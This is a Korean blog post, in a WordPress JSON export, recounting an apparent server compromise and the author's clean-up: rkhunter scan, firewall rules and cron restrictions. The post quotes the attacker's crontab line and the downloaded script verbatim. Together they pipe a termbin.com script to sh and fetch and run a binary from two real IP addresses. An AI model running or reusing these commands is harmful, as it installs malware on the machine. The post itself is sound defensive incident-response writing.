{"id":683,"date":"2019-06-10T09:32:55","date_gmt":"2019-06-10T00:32:55","guid":{"rendered":"https:\/\/www.kkoc.org\/?p=683"},"modified":"2019-07-06T14:37:39","modified_gmt":"2019-07-06T05:37:39","slug":"%ed%95%b4%ed%82%b9-%ec%9d%98%ec%8b%ac","status":"publish","type":"post","link":"https:\/\/www.kkoc.org\/?p=683","title":{"rendered":"\ud574\ud0b9 \uc758\uc2ec"},"content":{"rendered":"\n

\uc5b8\uc81c \ubd80\ud130\uc778\uac00 ubuntu \uc11c\ubc84\uc5d0 CPU\uac00 100%\uc774\uc0c1 \uc0ac\uc6a9\ud558\ub294 \ud504\ub85c\uc138\uc2a4\uac00 \ubcf4\uc774\uace0 \ud574\ud0b9\uc774 \uc758\uc2ec\ub418\ub294 \ud604\uc0c1\uc774 \ubc1c\uc0dd\ud588\ub2e4.<\/p>\n

 <\/p>\n

crontab\uc5d0 \ub0b4\uac00 \ub4f1\ub85d\ud55c job\uc774 \uc5c6\uc5b4 \uc9c0\uace0 \uc544\ub798\uc758 \ud56d\ubaa9\uc774 \ucd94\uac00\ub41c\uac83\uc744 \ud655\uc778\ud558\uace0 \ucc98\uc74c\uc5d0\ub294 \ubcf4\uc548\ud328\uce58\ub97c \ud574\uc11c \uc790\ub3d9\uc73c\ub85c \ub4f1\ub85d\ub418\ub294 job\uc778\uc904 \uc54c\uace0 \ub300\uc18c\ub86d\uac8c \uc5ec\uae30\uc9c0 \uc54a\uace0 \uadf8\ub0e5 \ub118\uc5b4 \uac14\ub294\ub370… \uc5b4\ub290 \uc21c\uac04\uc778\uac00 \ub3d9\uc77c\ud55c \ub0b4\uc6a9\uc774 \ub4f1\ub85d\ub418\uc5b4 \uc788\ub294\uac83\uc744 \ubcf4\uace0 \ub09c\uac10\ud588\ub2e4.<\/p>\n

 <\/p>\n

crontab -l \uba85\ub839\uc73c\ub85c \uc870\ud68c\ub97c \ud574\ubcf4\uba74 \uc544\ub798\uc640 \uac19\ub2e4.<\/p>\n

ubuntu:~$ crontab -l\n*\/23 * * * * (curl -k -fsSL https:\/\/termbin.com\/mfzn || wget --no-check-certificate -q -O- https:\/\/termbin.com\/mfzn)|sh<\/pre>\n\n\n\n
\n\n\n\n
https:\/\/termbin.com\/mfzn \uc0ac\uc774\ud2b8\uc5d0 \uc811\uc18d\ud574\uba74…<\/p>\n\n\n\n
((curl -fsSL --connect-timeout 10 http:\/\/186.226.176.254\/dovecot -o \/tmp\/.dovecot || wget --timeout=10 -q http:\/\/186.226.176.254\/dovecot -O \/tmp\/.dovecot)||curl -fsSL --connect-timeout 10 http:\/\/185.84.91.154:443\/dovecot -o \/tmp\/.dovecot||wget --timeout=10 -q http:\/\/185.84.91.154:443\/dovecot -O \/tmp\/.dovecot) && chmod +x \/tmp\/.dovecot\n\/tmp\/.dovecot<\/pre>\n\n\n\n
dovecot \ud30c\uc77c\uc740 linux-vdso.so, libc.so \ub4f1 \ub77c\uc774\ube0c\ub7ec\ub9ac\ub97c \ucc38\uc870\ud558\ub294 \ub188\uc785\ub2c8\ub2e4. \ub9e4\uc2dc\uac04 23\ubd84 \ub9c8\ub2e4 \/tmp\/.dovecot  \ubc1b\uc544\uc11c \uc2e4\ud589\uad8c\ud55c\uc744 \uc124\uc815\ud558\uac8c \uc2a4\ud06c\ub9bd\ud2b8\ub97c \uc124\uc815\ud574 \ub193\uace0 \uc788\uc5c8\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n
 ubuntu:~$  ldd dovecot     \n         linux-vdso.so.1 =>  (0x00007ffe927c5000)\n         libc.so.6 => \/lib64\/libc.so.6 (0x00007fc8c1900000)\n         \/lib64\/ld-linux-x86-64.so.2 (0x00007fc8c1ccd000)<\/code><\/pre>\n\n\n\n
\ub204\uac00 \uc5b4\ub5a4 \uacbd\ub85c\ub85c \uc5b4\ub5bb\uac8c \uc124\uce58 \ud588\ub294\uc9c0 \ucc3e\uc744 \uc218 \uc788\uc744\uc9c0 \ubaa8\ub974\uaca0\ub2e4…<\/p>\n
\uc815\uc2e0\uc744 \ucc28\ub9ac\uace0 tmp \ud3f4\ub354 \ubd80\ud130 \ub2e4\uc2dc \ucc3e\uc544 \ubcf8\ub2e4.<\/p>\n
 <\/p>\n\n\n\n
root@ubuntu:\/tmp# ls -al\n\ud569\uacc4 104\ndrwxrwxrwt 24 root  root  4096  6\uc6d4 11 09:36 .\ndrwxr-xr-x 24 root  root  4096  6\uc6d4  5 22:53 ..\ndrwxrwxrwt  2 root  root  4096  6\uc6d4  5 22:58 .ICE-unix\ndrwxrwxrwt  2 root  root  4096  6\uc6d4  5 22:58 .Test-unix\ndrwxrwxrwt  2 root  root  4096  6\uc6d4  5 22:58 .X11-unix\ndrwxrwxrwt  2 root  root  4096  6\uc6d4  5 22:58 .XIM-unix\n-rwxr-x---  1 chohi chohi 6752  5\uc6d4 30 03:32 .dovecot\ndrwxrwxrwt  2 root  root  4096  6\uc6d4  5 22:58 .font-unix\ndrwxr-x---  2 chohi chohi 4096  6\uc6d4 10 09:43 hsperfdata_chohi\ndrwxrwxr-x  2 chohi chohi 4096  6\uc6d4  5 23:08 jna-94636843\ndrwx------  2 chohi chohi 4096  6\uc6d4  5 23:05 ssh-3doo9adyu6\ndrwx------  2 chohi chohi 4096  6\uc6d4  6 05:50 ssh-6J2YGqCSwx\ndrwx------  2 chohi chohi 4096  6\uc6d4  5 23:46 ssh-9g4AChhpsN\ndrwx------  2 chohi chohi 4096  6\uc6d4  5 22:59 ssh-TgPJ00EnoH\ndrwx------  2 chohi chohi 4096  6\uc6d4  8 15:54 ssh-aIcaUjsQCw\ndrwx------  2 chohi chohi 4096  6\uc6d4  6 00:07 ssh-lAdtd5e1rP\ndrwx------  2 chohi chohi 4096  6\uc6d4  6 00:47 ssh-n3ek5TdGX5\ndrwx------  2 chohi chohi 4096  6\uc6d4 11 08:36 ssh-sXzTLmvSwT\ndrwx------  2 chohi chohi 4096  6\uc6d4 11 09:18 ssh-svffT93zdp\ndrwx------  2 chohi chohi 4096  6\uc6d4  8 16:08 ssh-wg9C63dF0Z\ndrwx------  2 chohi chohi 4096  6\uc6d4  8 15:57 ssh-ymPNhE1UBh\ndrwx------  2 chohi chohi 4096  6\uc6d4  5 23:26 ssh-zYYK0JxBYP\ndrwx------  3 root  root  4096  6\uc6d4  5 22:58 systemd-private-505c245ad90b489d94c81a140a27e391-systemd-resolved.service-Zgg598\ndrwx------  3 root  root  4096  6\uc6d4  5 22:58 systemd-private-505c245ad90b489d94c81a140a27e391-systemd-timesyncd.service-a47ed2\ndrwx------  2 root  root  4096  6\uc6d4  5 22:58 vmware-root_670-2722828838<\/pre>\n\n\n\n
5\uc6d4 30\uc77c 03\uc2dc 32\ubd84 .dovecot \ud30c\uc77c\uc774 \uc0dd\uacbc\ub2e4. \uc774\uc2dc\uac04\ub300 \ub85c\uadf8\ub97c \ubd10\uc57c \ud558\ub294\ub370, \uc2dc\uac04\uc774 \ub9ce\uc774 \uc9c0\ub098\uc11c \ud655\uc778\uc740 \ubabb\ud588\ub2e4.<\/p>\n\n\n\n
rkhunter (Rootkit Hunter)\ub8e8\ud2b8\ud0b7 , \ubc31\ub3c4\uc5b4 \ubc0f \uac00\ub2a5\ud55c \ub85c\uceec \uc775\uc2a4\ud50c\ub85c\uc787 \uc744 \uac80\uc0c9 \ud558\ub294 Unix \uae30\ubc18 \ub3c4\uad6c\ub97c \uc124\uce58\ud558\uc5ec \uc810\uac80\ud574 \ubd24\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n
# rkhunter \ub2e4\uc6b4\ub85c\ub4dc \n[root@www ]# wget http:\/\/downloads.sourceforge.net\/rkhunter\/rkhunter-1.4.6.tar.gz \n\n# \uc555\ucd95\ud480\uc5b4 \uc8fc\uace0 \uc124\uce58\ub97c \uc9c4\ud589\ud569\ub2c8\ub2e4.\nroot@ubuntu:~\/temp\/rkhunter-1.4.6# .\/installer.sh --install\nChecking system for:\n Rootkit Hunter installer files: found\n A web file download command: wget found\nStarting installation:\n Checking installation directory \"\/usr\/local\": it exists and is writable.\n Checking installation directories:\n  Directory \/usr\/local\/share\/doc\/rkhunter-1.4.6: creating: OK\n  Directory \/usr\/local\/share\/man\/man8: creating: OK\n  Directory \/etc: exists and is writable.\n  Directory \/usr\/local\/bin: exists and is writable.\n  Directory \/usr\/local\/lib: exists and is writable.\n  Directory \/var\/lib: exists and is writable.\n  Directory \/usr\/local\/lib\/rkhunter\/scripts: creating: OK\n  Directory \/var\/lib\/rkhunter\/db: creating: OK\n  Directory \/var\/lib\/rkhunter\/tmp: creating: OK\n  Directory \/var\/lib\/rkhunter\/db\/i18n: creating: OK\n  Directory \/var\/lib\/rkhunter\/db\/signatures: creating: OK\n Installing check_modules.pl: OK\n Installing filehashsha.pl: OK\n Installing stat.pl: OK\n Installing readlink.sh: OK\n Installing backdoorports.dat: OK\n Installing mirrors.dat: OK\n Installing programs_bad.dat: OK\n Installing suspscan.dat: OK\n Installing rkhunter.8: OK\n Installing ACKNOWLEDGMENTS: OK\n Installing CHANGELOG: OK\n Installing FAQ: OK\n Installing LICENSE: OK\n Installing README: OK\n Installing language support files: OK\n Installing ClamAV signatures: OK\n Installing rkhunter: OK\n Installing rkhunter.conf: OK\nInstallation complete\n\n# rkhunter \uc2e4\ud589.\nroot@ubuntu:~\/temp\/rkhunter-1.4.6# rkhunter -c\n[ Rootkit Hunter version 1.4.6 ]\n\nChecking system commands...\n\n  Performing 'strings' command checks\n    Checking 'strings' command                               [ Skipped ]\n\n  Performing 'shared libraries' checks\n    Checking for preloading variables                        [ None found ]\n    Checking for preloaded libraries                         [ None found ]\n    Checking LD_LIBRARY_PATH variable                        [ Not found ]\n\n  Performing file properties checks\n    Checking for prerequisites                               [ Warning ]\n    \/usr\/local\/bin\/rkhunter                                  [ OK ]\n    \/usr\/sbin\/adduser                                        [ Warning ]\n    \/usr\/sbin\/chroot                                         [ OK ]\n    \/usr\/sbin\/cron                                           [ OK ]\n    \/usr\/sbin\/groupadd                                       [ OK ]\n    \/usr\/sbin\/groupdel                                       [ OK ]\n    \/usr\/sbin\/groupmod                                       [ OK ]\n    \/usr\/sbin\/grpck                                          [ OK ]\n    \/usr\/sbin\/nologin                                        [ OK ]\n    \/usr\/sbin\/pwck                                           [ OK ]\n    \/usr\/sbin\/rsyslogd                                       [ OK ]\n    \/usr\/sbin\/sshd                                           [ OK ]\n    \/usr\/sbin\/useradd                                        [ OK ]\n    \/usr\/sbin\/userdel                                        [ OK ]\n    \/usr\/sbin\/usermod                                        [ OK ]\n    \/usr\/sbin\/vipw                                           [ OK ]\n    \/usr\/bin\/awk                                             [ OK ]\n    \/usr\/bin\/basename                                        [ OK ]\n    \/usr\/bin\/chattr                                          [ OK ]\n    \/usr\/bin\/cut                                             [ OK ]\n    \/usr\/bin\/diff                                            [ OK ]\n    \/usr\/bin\/dirname                                         [ OK ]\n    \/usr\/bin\/dpkg                                            [ OK ]\n    \/usr\/bin\/dpkg-query                                      [ OK ]\n    \/usr\/bin\/du                                              [ OK ]\n    \/usr\/bin\/env                                             [ OK ]\n    \/usr\/bin\/file                                            [ OK ]\n    \/usr\/bin\/find                                            [ OK ]\n    \/usr\/bin\/groups                                          [ OK ]\n    \/usr\/bin\/head                                            [ OK ]\n    \/usr\/bin\/id                                              [ OK ]\n    \/usr\/bin\/ipcs                                            [ OK ]\n    \/usr\/bin\/killall                                         [ OK ]\n    \/usr\/bin\/last                                            [ OK ]\n    \/usr\/bin\/lastlog                                         [ OK ]\n    \/usr\/bin\/ldd                                             [ Warning ]\n    \/usr\/bin\/less                                            [ OK ]\n    \/usr\/bin\/locate                                          [ OK ]\n    \/usr\/bin\/logger                                          [ OK ]\n    \/usr\/bin\/lsattr                                          [ OK ]\n    \/usr\/bin\/lsof                                            [ OK ]\n    \/usr\/bin\/md5sum                                          [ OK ]\n    \/usr\/bin\/mlocate                                         [ OK ]\n    \/usr\/bin\/newgrp                                          [ OK ]\n    \/usr\/bin\/passwd                                          [ OK ]\n    \/usr\/bin\/perl                                            [ OK ]\n    \/usr\/bin\/pgrep                                           [ OK ]\n    \/usr\/bin\/pkill                                           [ OK ]\n    \/usr\/bin\/pstree                                          [ OK ]\n    \/usr\/bin\/rpm                                             [ OK ]\n    \/usr\/bin\/runcon                                          [ OK ]\n    \/usr\/bin\/sha1sum                                         [ OK ]\n    \/usr\/bin\/sha224sum                                       [ OK ]\n    \/usr\/bin\/sha256sum                                       [ OK ]\n    \/usr\/bin\/sha384sum                                       [ OK ]\n    \/usr\/bin\/sha512sum                                       [ OK ]\n    \/usr\/bin\/sort                                            [ OK ]\n    \/usr\/bin\/ssh                                             [ OK ]\n    \/usr\/bin\/stat                                            [ OK ]\n    \/usr\/bin\/strace                                          [ OK ]\n    \/usr\/bin\/sudo                                            [ OK ]\n    \/usr\/bin\/tail                                            [ OK ]\n    \/usr\/bin\/telnet                                          [ OK ]\n    \/usr\/bin\/test                                            [ OK ]\n    \/usr\/bin\/top                                             [ OK ]\n    \/usr\/bin\/touch                                           [ OK ]\n    \/usr\/bin\/tr                                              [ OK ]\n    \/usr\/bin\/uniq                                            [ OK ]\n    \/usr\/bin\/users                                           [ OK ]\n    \/usr\/bin\/vmstat                                          [ OK ]\n    \/usr\/bin\/w                                               [ OK ]\n    \/usr\/bin\/watch                                           [ OK ]\n    \/usr\/bin\/wc                                              [ OK ]\n    \/usr\/bin\/wget                                            [ OK ]\n    \/usr\/bin\/whatis                                          [ OK ]\n    \/usr\/bin\/whereis                                         [ OK ]\n    \/usr\/bin\/which                                           [ OK ]\n    \/usr\/bin\/who                                             [ OK ]\n    \/usr\/bin\/whoami                                          [ OK ]\n    \/usr\/bin\/numfmt                                          [ OK ]\n    \/usr\/bin\/gawk                                            [ OK ]\n    \/usr\/bin\/telnet.netkit                                   [ OK ]\n    \/usr\/bin\/w.procps                                        [ OK ]\n    \/sbin\/depmod                                             [ OK ]\n    \/sbin\/fsck                                               [ OK ]\n    \/sbin\/ifconfig                                           [ OK ]\n    \/sbin\/ifdown                                             [ OK ]\n    \/sbin\/ifup                                               [ OK ]\n    \/sbin\/init                                               [ OK ]\n    \/sbin\/insmod                                             [ OK ]\n    \/sbin\/ip                                                 [ OK ]\n    \/sbin\/lsmod                                              [ OK ]\n    \/sbin\/modinfo                                            [ OK ]\n    \/sbin\/modprobe                                           [ OK ]\n    \/sbin\/rmmod                                              [ OK ]\n    \/sbin\/route                                              [ OK ]\n    \/sbin\/runlevel                                           [ OK ]\n    \/sbin\/sulogin                                            [ OK ]\n    \/sbin\/sysctl                                             [ OK ]\n    \/bin\/bash                                                [ OK ]\n    \/bin\/cat                                                 [ OK ]\n    \/bin\/chmod                                               [ OK ]\n    \/bin\/chown                                               [ OK ]\n    \/bin\/cp                                                  [ OK ]\n    \/bin\/date                                                [ OK ]\n    \/bin\/df                                                  [ OK ]\n    \/bin\/dmesg                                               [ OK ]\n    \/bin\/echo                                                [ OK ]\n    \/bin\/ed                                                  [ OK ]\n    \/bin\/egrep                                               [ Warning ]\n    \/bin\/fgrep                                               [ Warning ]\n    \/bin\/fuser                                               [ OK ]\n    \/bin\/grep                                                [ OK ]\n    \/bin\/ip                                                  [ OK ]\n    \/bin\/kill                                                [ OK ]\n    \/bin\/less                                                [ OK ]\n    \/bin\/login                                               [ OK ]\n    \/bin\/ls                                                  [ OK ]\n    \/bin\/lsmod                                               [ OK ]\n    \/bin\/mktemp                                              [ OK ]\n    \/bin\/more                                                [ OK ]\n    \/bin\/mount                                               [ OK ]\n    \/bin\/mv                                                  [ OK ]\n    \/bin\/netstat                                             [ OK ]\n    \/bin\/ping                                                [ OK ]\n    \/bin\/ps                                                  [ OK ]\n    \/bin\/pwd                                                 [ OK ]\n    \/bin\/readlink                                            [ OK ]\n    \/bin\/sed                                                 [ OK ]\n    \/bin\/sh                                                  [ OK ]\n    \/bin\/su                                                  [ OK ]\n    \/bin\/touch                                               [ OK ]\n    \/bin\/uname                                               [ OK ]\n    \/bin\/which                                               [ Warning ]\n    \/bin\/kmod                                                [ OK ]\n    \/bin\/systemd                                             [ OK ]\n    \/bin\/systemctl                                           [ OK ]\n    \/bin\/dash                                                [ OK ]\n    \/lib\/systemd\/systemd                                     [ OK ]\n    \/etc\/rkhunter.conf                                       [ OK ]\n\n[Press <ENTER> to continue]\n\n\nChecking for rootkits...\n\n  Performing check of known rootkit files and directories\n    55808 Trojan - Variant A                                 [ Not found ]\n    ADM Worm                                                 [ Not found ]\n    AjaKit Rootkit                                           [ Not found ]\n    Adore Rootkit                                            [ Not found ]\n    aPa Kit                                                  [ Not found ]\n    Apache Worm                                              [ Not found ]\n    Ambient (ark) Rootkit                                    [ Not found ]\n    Balaur Rootkit                                           [ Not found ]\n    BeastKit Rootkit                                         [ Not found ]\n    beX2 Rootkit                                             [ Not found ]\n    BOBKit Rootkit                                           [ Not found ]\n    cb Rootkit                                               [ Not found ]\n    CiNIK Worm (Slapper.B variant)                           [ Not found ]\n    Danny-Boy's Abuse Kit                                    [ Not found ]\n    Devil RootKit                                            [ Not found ]\n    Diamorphine LKM                                          [ Not found ]\n    Dica-Kit Rootkit                                         [ Not found ]\n    Dreams Rootkit                                           [ Not found ]\n    Duarawkz Rootkit                                         [ Not found ]\n    Ebury backdoor                                           [ Not found ]\n    Enye LKM                                                 [ Not found ]\n    Flea Linux Rootkit                                       [ Not found ]\n    Fu Rootkit                                               [ Not found ]\n    Fuck`it Rootkit                                          [ Not found ]\n    GasKit Rootkit                                           [ Not found ]\n    Heroin LKM                                               [ Not found ]\n    HjC Kit                                                  [ Not found ]\n    ignoKit Rootkit                                          [ Not found ]\n    IntoXonia-NG Rootkit                                     [ Not found ]\n    Irix Rootkit                                             [ Not found ]\n    Jynx Rootkit                                             [ Not found ]\n    Jynx2 Rootkit                                            [ Not found ]\n    KBeast Rootkit                                           [ Not found ]\n    Kitko Rootkit                                            [ Not found ]\n    Knark Rootkit                                            [ Not found ]\n    ld-linuxv.so Rootkit                                     [ Not found ]\n    Li0n Worm                                                [ Not found ]\n    Lockit \/ LJK2 Rootkit                                    [ Not found ]\n    Mokes backdoor                                           [ Not found ]\n    Mood-NT Rootkit                                          [ Not found ]\n    MRK Rootkit                                              [ Not found ]\n    Ni0 Rootkit                                              [ Not found ]\n    Ohhara Rootkit                                           [ Not found ]\n    Optic Kit (Tux) Worm                                     [ Not found ]\n    Oz Rootkit                                               [ Not found ]\n    Phalanx Rootkit                                          [ Not found ]\n    Phalanx2 Rootkit                                         [ Not found ]\n    Phalanx2 Rootkit (extended tests)                        [ Not found ]\n    Portacelo Rootkit                                        [ Not found ]\n    R3dstorm Toolkit                                         [ Not found ]\n    RH-Sharpe's Rootkit                                      [ Not found ]\n    RSHA's Rootkit                                           [ Not found ]\n    Scalper Worm                                             [ Not found ]\n    Sebek LKM                                                [ Not found ]\n    Shutdown Rootkit                                         [ Not found ]\n    SHV4 Rootkit                                             [ Not found ]\n    SHV5 Rootkit                                             [ Not found ]\n    Sin Rootkit                                              [ Not found ]\n    Slapper Worm                                             [ Not found ]\n    Sneakin Rootkit                                          [ Not found ]\n    'Spanish' Rootkit                                        [ Not found ]\n    Suckit Rootkit                                           [ Not found ]\n    Superkit Rootkit                                         [ Not found ]\n    TBD (Telnet BackDoor)                                    [ Not found ]\n    TeLeKiT Rootkit                                          [ Not found ]\n    T0rn Rootkit                                             [ Not found ]\n    trNkit Rootkit                                           [ Not found ]\n    Trojanit Kit                                             [ Not found ]\n    Tuxtendo Rootkit                                         [ Not found ]\n    URK Rootkit                                              [ Not found ]\n    Vampire Rootkit                                          [ Not found ]\n    VcKit Rootkit                                            [ Not found ]\n    Volc Rootkit                                             [ Not found ]\n    Xzibit Rootkit                                           [ Not found ]\n    zaRwT.KiT Rootkit                                        [ Not found ]\n    ZK Rootkit                                               [ Not found ]\n\n[Press <ENTER> to continue]\n\n\n  Performing additional rootkit checks\n    Suckit Rootkit additional checks                         [ OK ]\n    Checking for possible rootkit files and directories      [ None found ]\n    Checking for possible rootkit strings                    [ Skipped ]\n\n  Performing malware checks\n    Checking running processes for suspicious files          [ None found ]\n    Checking for login backdoors                             [ None found ]\n    Checking for sniffer log files                           [ None found ]\n    Checking for suspicious directories                      [ None found ]\n    Checking for suspicious (large) shared memory segments   [ None found ]\n\n  Performing Linux specific checks\n    Checking loaded kernel modules                           [ OK ]\n    Checking kernel module names                             [ OK ]\n\n[Press <ENTER> to continue]\n\n\nChecking the network...\n\n  Performing checks on the network ports\n    Checking for backdoor ports                              [ None found ]\n\n  Performing checks on the network interfaces\n    Checking for promiscuous interfaces                      [ None found ]\n\nChecking the local host...\n\n  Performing system boot checks\n    Checking for local host name                             [ Found ]\n    Checking for system startup files                        [ Found ]\n    Checking system startup files for malware                [ None found ]\n\n  Performing group and account checks\n    Checking for passwd file                                 [ Found ]\n    Checking for root equivalent (UID 0) accounts            [ None found ]\n    Checking for passwordless accounts                       [ None found ]\n    Checking for passwd file changes                         [ None found ]\n    Checking for group file changes                          [ None found ]\n    Checking root account shell history files                [ OK ]\n\n  Performing system configuration file checks\n    Checking for an SSH configuration file                   [ Found ]\n    Checking if SSH root access is allowed                   [ Warning ]\n    Checking if SSH protocol v1 is allowed                   [ Warning ]\n    Checking for other suspicious configuration settings     [ None found ]\n    Checking for a running system logging daemon             [ Found ]\n    Checking for a system logging configuration file         [ Found ]\n    Checking if syslog remote logging is allowed             [ Not allowed ]\n\n  Performing filesystem checks\n    Checking \/dev for suspicious file types                  [ None found ]\n    Checking for hidden files and directories                [ Warning ]\n\n[Press <ENTER> to continue]\n\n\n\nSystem checks summary\n=====================\n\nFile properties checks...\n    Required commands check failed\n    Files checked: 140\n    Suspect files: 5\n\nRootkit checks...\n    Rootkits checked : 380\n    Possible rootkits: 0\n\nApplications checks...\n    All checks skipped\n\nThe system checks took: 2 minutes and 22 seconds\n\nAll results have been written to the log file: \/var\/log\/rkhunter.log\n\nOne or more warnings have been found while checking the system.\nPlease check the log file (\/var\/log\/rkhunter.log)<\/code><\/pre>\n\n\n\n
\uc2dc\uc2a4\ud15c \uc810\uac80 \uacb0\uacfc \ub2e4\ud589\ud788 \uac80\ucd9c\ub418\uc9c0 \uc54a\uc558\uc2b5\ub2c8\ub2e4.<\/p>\n
 <\/p>\n\n\n\n
\uc870\uce58\ub0b4\uc6a9<\/h2>\n\n\n\n
1. crontab \ub4f1\ub85d \uad8c\ud55c \uc870\uc815<\/h4>\n\n\n\n
# \/etc\/cron.deny \ud30c\uc77c\uc5d0 \uac70\ubd80 \uacc4\uc815 \ub4f1\ub85d\nchohi<\/pre>\n\n\n\n
2. curl \uc0ad\uc81c \ucc98\ub9ac<\/h4>\n\n\n\n
# sudo apt-get remove curl<\/pre>\n\n\n\n
3. ssh \ud3ec\ud2b8 22-> 5\uc790\ub9ac\ub85c \ubcc0\uacbd<\/h4>\n\n\n\n
4. \ubc29\ud654\ubcbd SSH, \uc6f9\uc11c\ube44\uc2a4 \ub0b4\ubd80 \ud3ec\ud2b8\ub9cc accept \ub098\uba38\uc9c0\ub294 drop <\/h4>\n\n\n\n
5. \uc811\uadfc \uac70\ubd80 IP \ubc29\ud654\ubcbd \ucd94\uac00<\/h4>\n\n\n\n
# sudo ufw deny from 52.44.244.0\/24  <\/p>\n\n\n\n
 Anywhere                   DENY IN     52.44.244.0\/24            
 Anywhere                   DENY IN     185.84.91.0\/24            
 Anywhere                   DENY IN     186.226.176.0\/24          
 Anywhere                   DENY IN     5.39.93.0\/24  <\/p>\n\n\n\n
6. outgoing \uae30\ubcf8\uc815\ucc45 deny\ub85c \uc124\uc815<\/h4>\n\n\n\n
<\/p>\n\n\n\n
sudo ufw default deny outgoing  #\ub098\uac00\ub294 \ud328\ud0b7 deny<\/p>\n\n\n\n
sudo ufw allow out to \ud2b9\uc815IP  port 443 proto tcp  #\ub098\uac00\ub294 \ud328\ud0b7 \ud2b9\uc815IP 443\ub9cc \ud5c8\uc6a9<\/p>\n\n\n\n
sudo ufw status verbose #\ubc29\ud654\ubcbd \uc124\uc815\ud655\uc778<\/p>\n\n\n\n
\n
 <\/pre>\n\n\n\n
\ub85c\uadf8 \uc810\uac80<\/h2>\n\n\n\n
\/var\/log\/message<\/p>\n\n\n\n
\/var\/log\/secure<\/p>\n\n\n\n
\/var\/log\/dmesg<\/p>\n\n\n\n
\/var\/log\/lastlog<\/p>\n\n\n\n
\/var\/spool\/cron<\/p>\n\n\n\n
\/var\/log\/utmp<\/p>\n\n\n\n
\/var\/log\/wtmp<\/p>\n\n\n\n
\/var\/log\/btmp<\/p>\n\n\n\n
\/var\/log\/vtmp<\/p>\n\n\n\n
  <\/p>\n\n\n\n
\ubc14\uc774\ub7ec\uc2a4 \uac80\uc0ac( https:\/\/www.virustotal.com<\/a> )<\/h2>\n\n\n\n
 dovecot\ud30c\uc77c\uc744 \uc62c\ub824\uc11c \uac80\uc0ac\ub97c \ud574\uc90d\ub2c8\ub2e4.<\/p>\n\n\n\n
\"\"

\"\"\"\"<\/pre>\n\n\n\n\n\n\n\n
Downloads<\/a>\ub2e4\uc6b4\ub85c\ub4dc<\/a><\/div>\n\n\n","protected":false},"excerpt":{"rendered":"
\uc5b8\uc81c \ubd80\ud130\uc778\uac00 ubuntu \uc11c\ubc84\uc5d0 CPU\uac00 100%\uc774\uc0c1 \uc0ac\uc6a9\ud558\ub294 \ud504\ub85c\uc138\uc2a4\uac00 \ubcf4\uc774\uace0 \ud574\ud0b9\uc774 \uc758\uc2ec\ub418\ub294 \ud604\uc0c1\uc774 \ubc1c\uc0dd\ud588\ub2e4.   crontab\uc5d0 \ub0b4\uac00 \ub4f1\ub85d\ud55c job\uc774 \uc5c6\uc5b4 \uc9c0\uace0 \uc544\ub798\uc758 \ud56d\ubaa9\uc774 \ucd94\uac00\ub41c\uac83\uc744 \ud655\uc778\ud558\uace0 \ucc98\uc74c\uc5d0\ub294 \ubcf4\uc548\ud328\uce58\ub97c \ud574\uc11c \uc790\ub3d9\uc73c\ub85c \ub4f1\ub85d\ub418\ub294 job\uc778\uc904 \uc54c\uace0 \ub300\uc18c\ub86d\uac8c \uc5ec\uae30\uc9c0 \uc54a\uace0 \uadf8\ub0e5 \ub118\uc5b4 \uac14\ub294\ub370… \uc5b4\ub290… <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[4],"tags":[19,20,18],"_links":{"self":[{"href":"https:\/\/www.kkoc.org\/index.php?rest_route=\/wp\/v2\/posts\/683"}],"collection":[{"href":"https:\/\/www.kkoc.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.kkoc.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.kkoc.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.kkoc.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=683"}],"version-history":[{"count":24,"href":"https:\/\/www.kkoc.org\/index.php?rest_route=\/wp\/v2\/posts\/683\/revisions"}],"predecessor-version":[{"id":732,"href":"https:\/\/www.kkoc.org\/index.php?rest_route=\/wp\/v2\/posts\/683\/revisions\/732"}],"wp:attachment":[{"href":"https:\/\/www.kkoc.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=683"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.kkoc.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=683"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.kkoc.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=683"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}